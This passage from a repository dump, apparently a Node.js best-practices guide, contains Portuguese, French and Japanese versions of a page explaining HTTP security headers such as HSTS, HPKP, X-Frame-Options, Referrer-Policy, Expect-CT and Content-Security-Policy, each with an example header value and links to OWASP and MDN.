[vantagens](https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ).\r\n\r\nO cabeçalho Public-Key-Pins aceita 4 valores, um valor `pin-sha256` para adicionar a chave pública do certificado, com uma hash aplicada usando o algoritmo SHA256, que pode ser adicionado várias vezes para diferentes chaves públicas, um valor` max-age` para dizer ao navegador quanto tempo deve aplicar a regra, um valor `includeSubDomains` para aplicar essa regra a todos os subdomínios e um valor` report-uri` para relatar falhas na validação de pinos para a URL fornecida.\r\n\r\nExemplo de cabeçalho - Política HPKP ativada por uma semana, inclui subdomínios, relata falhas a um URL de exemplo e permite duas chaves públicas\r\n```\r\nPublic-Key-Pins: pin-sha256=\"d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=\"; pin-sha256=\"E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=\"; report-uri=\"http://example.com/pkp-report\"; max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [Leia em OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hpkp)\r\n\r\n🔗 [Leia na documentação web da MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning)\r\n\r\n<br/><br/>\r\n\r\n### X-Frame-Options\r\n\r\nO cabeçalho X-Frame-Options protege a aplicação contra ataques [Clickjacking](https://www.owasp.org/index.php/Clickjacking) declarando uma política se o seu aplicativo pode ser incorporado em outras páginas (externas) usando frames.\r\n\r\nX-Frame-Options permite 3 parâmetros, um parâmetro `deny` para não permitir embutir o recurso em geral, um parâmetro` sameorigin` para permitir embutir o recurso no mesmo host/origem e um parâmetro `allow-from` para especificar um host onde a incorporação do recurso é permitido.\r\n\r\nExemplo de cabeçalho - Negar a incorporação de seu aplicativo\r\n```\r\nX-Frame-Options: deny\r\n```\r\n\r\n🔗 [Leia em OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xfo)\r\n\r\n🔗 [Leia na documentação web da MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\r\n\r\n<br/><br/>\r\n\r\n### X-XSS-Protection\r\n\r\nEste cabeçalho ativa o filtro [Cross-site scripting](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) no seu navegador.\r\n\r\nAceita 4 parâmetros, `0` para desabilitar o filtro,` 1` para habilitar o filtro e habilitar sanitização automática da página, `mode = block` para habilitar o filtro e evitar que a página seja renderizada se um ataque XSS for detectado (este parâmetro deve ser adicionado ao `1` usando um ponto-e-vírgula, e `report = <domainToReport>` para relatar a violação (este parâmetro deve ser adicionado ao `1`).\r\n\r\nExemplo de cabeçalho - Ativa a Proteção XSS e denuncia violações a URL de exemplo\r\n```\r\nX-XSS-Protection: 1; report=http://example.com/xss-report\r\n```\r\n\r\n🔗 [Leia em OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp)\r\n\r\n🔗 [Leia na documentação web da MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)\r\n\r\n<br/><br/>\r\n\r\n### X-Content-Type-Options\r\n\r\nDefinir esse cabeçalho impedirá que o navegador [interprete os arquivos como algo diferente](https://en.wikipedia.org/wiki/Content_sniffing) do que o declarado pelo tipo de conteúdo nos cabeçalhos HTTP.\r\n\r\nExemplo de cabeçalho - não permite conteúdo sniffing\r\n```\r\nX-Content-Type-Options: nosniff\r\n```\r\n\r\n🔗 [Leia em OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto)\r\n\r\n🔗 [Leia na documentação web da MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Referrer-Policy\r\n\r\nO cabeçalho HTTP Policy-Referer rege quais informações do referenciador, enviadas no cabeçalho `Referer`, devem ser incluídas nas requisições feitas.\r\n\r\nPermite 8 parâmetros, um parâmetro `no-referrer` para remover completamente o cabeçalho `Referer`, um `no-referrer-when-downgrade` para remover o cabeçalho `Referer` quando rebaixado, por exemplo, HTTPS -> HTTP, um parâmetro `origin` para enviar a origem do host (a raiz do host) como referenciador __apenas__, um parâmetro `origin-when-cross-origin` para enviar uma URL de origem completa ao permanecer na mesma origem e enviar __apenas__ a origem do host caso contrário, um parâmetro `same-origin` para enviar informações de referência apenas para origens de mesmo site e omitir solicitações de origem cruzada, um parâmetro `strict-origin` para manter o cabeçalho `Referer` apenas no mesmo nível de segurança (HTTPS -> HTTPS) e omitir em um destino menos seguro, um parâmetro `strict-origin-when-cross-origin` para enviar o URL referenciador completo para um destino de mesma origem, a origem __apenas__ para um destino de origem cruzada no mesmo nível de segurança e nenhum referenciador em um destino de origem cruzada menos segura, e um parâmetro `unsafe-url` para enviar o referenciador completo para destinos de mesma origem ou de origem cruzada.\r\n\r\nExemplo de cabeçalho - Remova o cabeçalho `Referer` completamente\r\n```\r\nReferrer-Policy: no-referrer\r\n```\r\n\r\n🔗 [Leia em OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp)\r\n\r\n🔗 [Leia na documentação web da MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Expect-CT\r\n\r\nO cabeçalho Expect-CT é usado por um servidor para indicar que os navegadores devem avaliar as conexões com o host que emite o cabeçalho para a conformidade com [Transparência do Certificado](https://www.certificate-transparency.org/).\r\n\r\nEste cabeçalho aceita 3 parâmetros, um parâmetro `report-uri` para fornecer uma URL para relatar falhas do Expect-CT, um parâmetro` enforce` para sinalizar ao navegador que a Transparência do Certificado deve ser imposta (em vez de apenas relatada) e recusar conexões futuras violando a Transparência do Certificado e um parâmetro `max-age` para especificar o número de segundos que o navegador considera o host como um host Expect-CT conhecido.\r\n\r\nExemplo de cabeçalho - Impor a transparência do certificado por uma semana e reportar a URL de exemplo\r\n```\r\nExpect-CT: max-age=2592000, enforce, report-uri=\"https://example.com/report-cert-transparency\"\r\n```\r\n\r\n🔗 [Leia em OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#ect)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Content-Security-Policy\r\n\r\nO cabeçalho de resposta HTTP Content-Security-Policy permite controlar os recursos que o agente do usuário pode carregar para uma determinada página. Com algumas exceções, as políticas envolvem principalmente a especificação de origens de servidor e pontos de extremidade de script. Isso ajuda a proteger contra [ataques de script entre sites (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).\r\n\r\nExemplo de Cabeçalho - Ative o CSP e apenas execute scripts da mesma origem\r\n```\r\nContent-Security-Policy: script-src 'self'\r\n```\r\n\r\nExistem muitas políticas ativadas com o Content-Security-Policy que podem ser encontradas nos sites vinculados abaixo.\r\n\r\n🔗 [Leia em OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#csp)\r\n\r\n🔗 [Leia na documentação web da MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Recursos adicionais\r\n\r\n🔗 [OWASP Projeto de Cabeçalhos Seguros](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers)\r\n\r\n🔗 [Lista de Verificação de Segurança Node.js (RisingStack)](https://blog.risingstack.com/node-js-security-checklist/)\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureheaders.french.md",
    "content": "# Utilisation des entêtes de sécurité pour sécuriser votre application contre les attaques communes\n\n<br/><br/>\n\n\n### Un paragraphe d'explication\n\nDes entêtes de sécurité sont utilisés pour sécuriser davantage votre application. Les entêtes les plus importants sont énumérés ci-dessous. Vous pouvez également visiter les sites liés au bas de cette page pour obtenir plus d'informations sur ce sujet. Vous pouvez facilement définir ces entêtes en utilisant le module [Helmet](https://www.npmjs.com/package/helmet) pour Express ([Helmet pour koa](https://www.npmjs.com/package/koa-helmet)).\n\n<br/><br/>\n\n### Table des matières\n- [Sécurité stricte des transports HTTP (HTTP Strict Transport Security : HSTS)](#sécurité-stricte-des-transports-http-http-strict-transport-security-hsts)\n- [Épinglage de clé publique HTTP (Public Key Pinning for HTTP : HPKP)](#épinglage-de-clé-publique-HTTP-public-key-pinning-for-http-hpkp)\n- [X-Frame-Options](#x-frame-options)\n- [X-XSS-Protection](#x-xss-protection)\n- [X-Content-Type-Options](#x-content-type-options)\n- [Referrer-Policy](#referrer-policy)\n- [Expect-CT](#expect-ct)\n- [Content-Security-Policy](#content-security-policy)\n- [Ressources complémentaires](#ressources-complémentaires)\n\n<br/><br/>\n\n### Sécurité stricte des transports HTTP (HTTP Strict Transport Security : HSTS)\n\nLe HTTP Strict Transport Security (HSTS) est un mécanisme de sécurité du web qui protège les sites web contre les [attaques par repli](https://fr.wikipedia.org/wiki/Attaque_par_repli) et le [détournement de cookies](https://www.owasp.org/index.php/Session_hijacking_attack). Il permet aux serveurs web de déclarer que les navigateurs web (ou autres agents utilisateurs conformes) ne doivent interagir avec lui qu'en utilisant des __connexions HTTPS sécurisées__ et __jamais__ via le protocole HTTP non sécurisé. La politique HSTS est mise en œuvre en utilisant l'entête `Strict-Transport-Security` sur une connexion HTTPS existante.\n\nL'entête Strict-Transport-Security accepte une valeur `max-age` en secondes, pour indiquer au navigateur combien de temps il doit accéder au site en utilisant uniquement le HTTPS, et une valeur `includeSubDomains` pour appliquer la règle Strict-Transport-Security à tous les sous-domaines du site.\n\nExemple d'entête - Politique HSTS activée pendant une semaine, incluant les sous-domaines\n```\nStrict-Transport-Security: max-age=2592000; includeSubDomains\n```\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts)\n\n🔗 [A lire sur la doc web de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)\n\n<br/><br/>\n\n### Épinglage de clé publique HTTP (Public Key Pinning for HTTP : HPKP)\n\nLe HTTP Public Key Pinning (HPKP) est un mécanisme de sécurité permettant aux sites Web HTTPS de résister à l'usurpation d'identité par des attaquants utilisant des certificats SSL/TLS mal émis ou autrement frauduleux.\n\nLe serveur Web HTTPS diffuse une liste de hachages de clés publiques et lors des connexions suivantes, les clients s'attendent à ce que ce serveur utilise une ou plusieurs de ces clés publiques dans sa chaîne de certificats. En utilisant cette fonctionnalité avec précaution, vous pouvez réduire considérablement le risque d'attaques de type « man-in-the-middle » (MITM) et d'autres faux problèmes d'authentification pour les utilisateurs de votre application sans encourir de risques inutiles.\n\nAvant de le mettre en œuvre, vous devriez d'abord jeter un œil à l'entête `Expect-CT`, en raison de sa flexibilité avancée pour la récupération après une mauvaise configuration et bien d'autres [avantages](https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ).\n\nL'entête Public-Key-Pins accepte 4 valeurs, une valeur `pin-sha256` pour ajouter la clé publique du certificat, hachée à l'aide de l'algorithme SHA256, qui peut être ajoutée plusieurs fois pour différentes clés publiques, une valeur `max-age` pour indiquer au navigateur combien de temps il doit appliquer la règle, une valeur `includeSubDomains` pour appliquer cette règle à tous les sous-domaines et une valeur `report-uri` pour signaler les échecs de validation du pin vers l'URL donnée.\n\nExemple d'entête - Politique HPKP activée pendant une semaine, incluant des sous-domaines, signalant les échecs vers un exemple d'URL et autorisant deux clés publiques\n```\nPublic-Key-Pins: pin-sha256=\"d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=\"; pin-sha256=\"E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=\"; report-uri=\"http://example.com/pkp-report\"; max-age=2592000; includeSubDomains\n```\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hpkp)\n\n🔗 [A lire sur la doc web de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning)\n\n<br/><br/>\n\n### X-Frame-Options\n\nL'entête X-Frame-Options protège l'application contre les attaques de type [Clickjacking] (https://www.owasp.org/index.php/Clickjacking) en indiquant si votre application peut être intégrée à d'autres pages (externes) à l'aide de frames.\n\nX-Frame-Options accepte 3 paramètres, un paramètre `deny` pour interdire l'intégration de la ressource en général, un paramètre `sameorigin` pour permettre l'intégration de la ressource sur le même hôte/origine et un paramètre `allow-from` pour spécifier un hôte où l'intégration de la ressource est autorisée.\n\nExemple d'entête - Refuse une incorporation dans votre application\n```\nX-Frame-Options: deny\n```\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xfo)\n\n🔗 [A lire sur la doc web de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\n\n<br/><br/>\n\n### X-XSS-Protection\n\nCet entête active le filtre [Cross-site scripting](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) dans votre navigateur.\n\nElle accepte 4 paramètres, `0` pour désactiver le filtre, `1` pour activer le filtre et permettre le nettoyage automatique de la page, `mode=block` pour activer le filtre et empêcher le rendu de la page si une attaque XSS est détectée (ce paramètre doit être ajouté au `1` en utilisant un point-virgule, et `report=<domainToReport>` pour signaler la violation (ce paramètre doit être ajouté au `1`).\n\nExemple d'entête - Activer la protection XSS et signale les violations vers l'URL d'exemple\n```\nX-XSS-Protection: 1; report=http://example.com/xss-report\n```\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp)\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)\n\n<br/><br/>\n\n### X-Content-Type-Options\n\nLa définition de cet entête empêchera le navigateur d'[interpréter les fichiers comme quelque chose d'autre](https://en.wikipedia.org/wiki/Content_sniffing) que celui déclaré par le type de contenu dans les entêtes HTTP.\n\nExemple d'entête - Interdiction de scanner le contenu\n```\nX-Content-Type-Options: nosniff\n```\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto)\n\n🔗 [A lire sur la doc web de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)\n\n\n<br/><br/>\n\n### Referrer-Policy\n\nL'entête HTTP Referrer-Policy détermine quelles informations de référent, envoyées dans l'entête `Referer`, doivent être incluses avec les requêtes effectuées.\n\nElle accepte 8 paramètres, un paramètre `no-referrer` pour supprimer complètement l'entête `Referer`, un paramètre `no-referrer-when-downgrade` pour supprimer l'entête `Referer` lors d'une dégradation par exemple HTTPS -> HTTP, un paramètre `origin` pour envoyer l'origine de l'hôte (la racine de l'hôte) en tant que référent __uniquement__, un paramètre `origin-when-cross-origin` pour envoyer une URL d'origine complète lorsque l'on reste sur la même origine et pour envoyer l'origine de l'hôte __uniquement__ dans le cas contraire, un paramètre `same-origin` pour envoyer des informations de référent uniquement pour les origines du même site et pour omettre les requêtes de destination croisée (cross-origin), un paramètre `strict-origin` pour ne conserver l'entête `Referer` que sur le même niveau de sécurité (HTTPS -> HTTPS) et l'omettre sur une destination moins sûre, un paramètre `strict-origin-when-cross-origin` pour envoyer l'URL référent complète à une destination de même origine, l'origine __uniquement__ vers une destination croisée au __même__ niveau de sécurité et aucun référent sur une destination croisée moins sûre et enfin un paramètre `unsafe-url` pour envoyer le référent complet vers des destinations de même origine ou croisées.\n\nExemple d'entête - Supprime complètement l'entête `Referer`\n```\nReferrer-Policy: no-referrer\n```\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp)\n\n🔗 [A lire sur la doc web de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)\n\n\n<br/><br/>\n\n### Expect-CT\n\nL'entête Expect-CT est utilisé par un serveur pour indiquer que les navigateurs doivent examiner les connexions à l'hôte émettant l'entête pour respecter la technologie [Certificate Transparency](https://www.certificate-transparency.org/).\n\nCet entête accepte 3 paramètres, un paramètre `report-uri` pour fournir une URL à utiliser afin de signaler les échecs de Expect-CT, un paramètre `enforce` pour signaler au navigateur que la technologie _Certificate Transparency_ doit être appliquée (plutôt que de se contenter de la signaler) et refuser les futures connexions violant la technologie _Certificate Transparency_ et un paramètre `max-age` pour spécifier le nombre de secondes pendant lesquelles le navigateur considère l'hôte comme un hôte Expect-CT connu.\n\nExemple d'entête - Fait respecter la technologie _Certificate Transparency_ pendant une semaine et transmet une URL d'exemple pour le signalement\n```\nExpect-CT: max-age=2592000, enforce, report-uri=\"https://example.com/report-cert-transparency\"\n```\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#ect)\n\n\n<br/><br/>\n\n### Content-Security-Policy\n\nL'entête de réponse HTTP Content-Security-Policy permet de contrôler les ressources que l'agent utilisateur est autorisé à charger pour une page donnée. À quelques exceptions près, les stratégies impliquent principalement de spécifier l'origine des serveurs et les points de terminaison des scripts. Cela permet de se prémunir contre les [attaques de script intersites (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).\n\nExemple d'entête - Active le CSP et n'exécute que des scripts depuis la même origine\n```\nContent-Security-Policy: script-src 'self'\n```\n\nIl existe de nombreuses politiques activées avec Content-Security-Policy qui peuvent être trouvées sur les sites liés ci-dessous.\n\n🔗 [A lire sur le projet des entêtes sécurisés de OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#csp)\n\n🔗 [A lire sur la doc web de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\n\n\n<br/><br/>\n\n### Ressources complémentaires\n\n🔗 [OWASP Projet d'entêtes sécurisés](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers)\n\n🔗 [Node.js Liste de contrôle de sécurité (RisingStack)](https://blog.risingstack.com/node-js-security-checklist/)\n\n\n<br/><br/>\n"
  },
  {
    "path": "sections/security/secureheaders.japanese.md",
    "content": "# セキュリティ関連のヘッダを使用して一般的な攻撃からアプリケーションを保護する\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段落説明\r\n\r\nアプリケーションをさらにセキュアにするために使用される、セキュリティ関連のヘッダがあります。以下に、最も重要なヘッダを示します。また、ページの下部のサイトにアクセスして、このトピックに関する詳細な情報を確認することができます。これらのヘッダは、express 用の [Helmet](https://www.npmjs.com/package/helmet) モジュール（[koa Helmet](https://www.npmjs.com/package/koa-helmet)）を使って簡単に設定することができます。\r\n\r\n<br/><br/>\r\n\r\n### 目次\r\n- [HTTP Strict Transport Security (HSTS)](#http-strict-transport-security-hsts)\r\n- [Public Key Pinning for HTTP (HPKP)](#public-key-pinning-for-http-hpkp)\r\n- [X-Frame-Options](#x-frame-options)\r\n- [X-XSS-Protection](#x-xss-protection)\r\n- [X-Content-Type-Options](#x-content-type-options)\r\n- [Referrer-Policy](#referrer-policy)\r\n- [Expect-CT](#expect-ct)\r\n- [Content-Security-Policy](#content-security-policy)\r\n- [Additional Resource](#additional-resources)\r\n\r\n<br/><br/>\r\n\r\n### HTTP Strict Transport Security (HSTS)\r\n\r\nHTTP Strict Transport Security (HSTS) は、[プロトコルのダウングレード攻撃](https://en.wikipedia.org/wiki/Downgrade_attack)や[クッキーハイジャッキング](https://www.owasp.org/index.php/Session_hijacking_attack)からウェブサイトを保護するための、ウェブセキュリティポリシーの仕組みです。これにより、Web サーバは、Web ブラウザ（または他の準拠するユーザエージェント）が __安全な HTTPS 接続__ でのみ通信し、 安全でない HTTP プロトコルを経由して __決して__ 通信しないことを宣言することができます。HSTS ポリシーは、既存の HTTPS 接続上で `Strict-Transport-Security` ヘッダを使用して実装されています。\r\n\r\nStrict-Transport-Security ヘッダには、どれくらいの期間 HTTPS のみを使用してサイトにアクセスするかをブラウザに通知するための秒単位の `max-age` 値と、サイトのすべてのサブドメインに Strict Transport Security ルールを適用するための `includeSubDomains` 値を指定します。\r\n\r\nヘッダ例 - 1 週間有効化された、サブドメインを含む HSTS ポリシー\r\n```\r\nStrict-Transport-Security: max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [OWASP Secure Headers Project で読む](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts)\r\n\r\n🔗 [MDN web docs で読む](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)\r\n\r\n<br/><br/>\r\n\r\n### Public Key Pinning for HTTP (HPKP)\r\n\r\nHTTP Public Key Pinning (HPKP) は、HTTPS のウェブサイトを、誤って発行された、もしくは不正な SSL/TLS 証明書を使用した攻撃者によるなりすましに対抗できるようにするセキュリティメカニズムです。\r\n（訳注：HPKP 自体は非推奨となっており、後述の `Expect-CT` ヘッダに置き換えられています）\r\n\r\nHTTPS ウェブサーバーは公開鍵ハッシュのリストを提供し、後続の接続では、証明書チェインにおいてクライアントはサーバーがこれらの公開鍵のうちの 1 つ以上を使用することを期待します。この機能を注意して使用することで、アプリケーションのユーザが過度のリスクを負うことなく、中間者（MITM）攻撃やその他の誤認証の問題のリスクを大幅に減らすことができます。\r\n\r\n実装する前に、設定ミスからのリカバリのための高度な柔軟性やその他の[利点](https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ)のために、まず `Expect-CT` ヘッダを見ておくべきです。\r\n\r\nPublic-Key-Pins ヘッダは、4つの値を受け付けることができます。証明書の公開鍵を追加するための `pin-sha256` 値（SHA256 アルゴリズムを使用してハッシュ化されているため、異なる公開鍵に対して複数回追加することができる）、ルールを適用する期間をブラウザに伝えるための `max-age` 値、すべてのサブドメインに適用するための `includeSubDomains` 値、そしてピンの検証に失敗した際に、失敗した旨を報告する URL を指定する `report-uri` 値があります。\r\n\r\nヘッダ例 - 1 週間有効化され、サブドメインを含み、example URL に失敗を報告し、2 つの公開鍵を許可した HPKP ポリシー\r\n```\r\nPublic-Key-Pins: pin-sha256=\"d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=\"; pin-sha256=\"E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=\"; report-uri=\"http://example.com/pkp-report\"; max-age=2592000; includeSubDomains\r\n```\r\n\r\n🔗 [OWASP Secure Headers Project で読む](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hpkp)\r\n\r\n🔗 [MDN web docs で読む](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning)\r\n\r\n<br/><br/>\r\n\r\n### X-Frame-Options\r\n\r\nX-Frame-Options ヘッダは、フレームを使用して他の（外部の）ページをアプリケーションを埋め込むことができるかどうかのポリシーを宣言することで、[クリックジャッキング](https://www.owasp.org/index.php/Clickjacking)攻撃からアプリケーションを保護します。\r\n\r\nX-Frame-Options は 3 つのパラメータを許可します。リソースの埋め込みを一般的に許可しないための `deny` パラメータ、同じホスト/オリジンのリソースの埋め込みを許可する `sameorigin` パラメータ、そして特定のホストを許可するための `allow-from` パラメータです（訳注：`allow-from` は廃止されました）\r\n\r\nヘッダ例 - アプリケーションの埋め込みを拒否する\r\n```\r\nX-Frame-Options: deny\r\n```\r\n\r\n🔗 [OWASP Secure Headers Project を読む](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xfo)\r\n\r\n🔗 [MDN web docs を読む](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\r\n\r\n<br/><br/>\r\n\r\n### X-XSS-Protection\r\n\r\nこのヘッダはブラウザの[クロスサイトスクリプティング](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))フィルタを有効化します。\r\n\r\nこれは 4 つのパラメータを受け付けます。フィルタを無効化する `0`、フィルタを有効化して、攻撃を検知した際にページの自動サニタイズを行う `1`、フィルタを有効化して、攻撃を検知した際にページのレンダリングを停止する `mode=block`（このパラメータは、`1` の後にセミコロンを足して追加する必要があります）、そして攻撃を検知した際に攻撃レポートを作成して送信する `report=<domainToReport>` です（同様に `1` の後に追加する必要があります）。\r\n\r\nヘッダ例 - XSS プロテクションを有効化し、攻撃を example URL に送信する\r\n```\r\nX-XSS-Protection: 1; report=http://example.com/xss-report\r\n```\r\n\r\n🔗 [OWASP Secure Headers Project で読む](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xxxsp)\r\n\r\n🔗 [MDN web docs で読む](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)\r\n\r\n<br/><br/>\r\n\r\n### X-Content-Type-Options\r\n\r\nこのヘッダを設定すると、ブラウザがファイルを HTTP ヘッダで宣言されたファイルタイプと[別のものとして解釈する](https://en.wikipedia.org/wiki/Content_sniffing)ことを防ぎます。\r\n\r\nヘッダ例 - コンテンツスニッフィングを無効化する\r\n```\r\nX-Content-Type-Options: nosniff\r\n```\r\n\r\n🔗 [OWASP Secure Headers Project で読む](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto)\r\n\r\n🔗 [MDN web docs で読む](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Referrer-Policy\r\n\r\nReferrer-Policy HTTP ヘッダは、`Referer` ヘッダで送信される、リファラー情報をリクエストにどれだけ含めるかを制御します。\r\n\r\nこれは 8 つのパラメータを許可しています。`Referer` ヘッダを完全に省略する `no-referrer` パラメータ、（水準が）ダウングレードされた際（HTTPS → HTTP）に `Referer` ヘッダを省略する `no-referrer-when-downgrade` パラメータ、ホストオリジン __のみ__ をリファラーとして送信する `origin` パラメータ、同一オリジンの際はフルオリジン URL を送信し、その他の場合はホストオリジンのみを送信する `origin-when-cross-origin` パラメータ、同じオリジンにのみリファラー情報を送信しクロスオリジンのリクエストの場合は省略する `same-origin` パラメータ、同じセキュリティレベル（HTTPS → HTTPS）の場合にのみ `Referer` ヘッダーを保持しそれに劣る水準の場合は省略する `strict-origin` パラメータ、同一オリジンの場合はフルリファラー URL を送信し、クロスオリジンで __同じ__ セキュリティレベルの送信先の場合はオリジン __のみ__ を送信し、安全性の劣るクロスドメインの送信先にはリファラーを送信しない `strict-origin-when-cross-origin` パラメータ、同一オリジン、クロスオリジンに関わらずフルリファラーを送信する `unsafe-url` パラメータです。\r\n\r\nヘッダー例 - 完全に `Referer` ヘッダを取り除く\r\n```\r\nReferrer-Policy: no-referrer\r\n```\r\n\r\n🔗 [OWASP Secure Headers Project で読む](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp)\r\n\r\n🔗 [MDN web docs で読む](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Expect-CT\r\n\r\nExpect-CT ヘッダは、[認証透過性](https://www.certificate-transparency.org/)の要件に準拠しているかどうか確認するために、ヘッダを発行するホストへの接続をブラウザが評価すべきということを示すことを目的として、サーバによって使用されます。\r\n\r\nこのヘッダは 3 つのパラメータを受け付けます。Expect-CT の失敗を報告する URI を指定する `report-uri`、（報告するだけでなく）認証透過性ポリシーに従い、認証透過性ポリシーに違反するコネクションを拒否するようにブラウザに指示する `enforce` パラメータ、ブラウザが既知の Expect-CT ホストとみなすべき時間を秒数で指定する `max-age` パラメータです。\r\n\r\nヘッダ例 - 1 週間、認証透過性ポリシーを強制、example URL に報告する\r\n```\r\nExpect-CT: max-age=2592000, enforce, report-uri=\"https://example.com/report-cert-transparency\"\r\n```\r\n\r\n🔗 [OWASP Secure Headers Project で読む](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#ect)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Content-Security-Policy\r\n\r\nHTTP Content-Security-Policy レスポンスヘッダは、特定のページに対して、ユーザーエージェントが読み込みをすることができるリソースを制御することを可能にします。いくつかの例外を除いて、ほとんどの場合ポリシーはサーバオリジンとスクリプトのエンドポイントを指定します。これは、[クロスサイトスクリプティング攻撃（XSS）](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))対策に役立ちます。\r\n\r\nヘッダ例 - CSP を有効にして、同一オリジンからのスクリプトのみを実行する\r\n```\r\nContent-Security-Policy: script-src 'self'\r\n```\r\n\r\n以下のリンクで、Content-Security-Policy で有効になっている多くのポリシーを見ることができます。\r\n\r\n🔗 [OWASP Secure Headers Project で読む](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#csp)\r\n\r\n🔗 [MDN web docs で読む](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\r\n\r\n\r\n<br/><br/>\r\n\r\n### Additional resources\r\n\r\n🔗 [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#tab=Headers)\r\n\r\n🔗 [Node.js Security Checklist (RisingStack)](https://blog.risingstack.com/node-js-security-checklist/)\r\n\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/security/secureheaders.md",
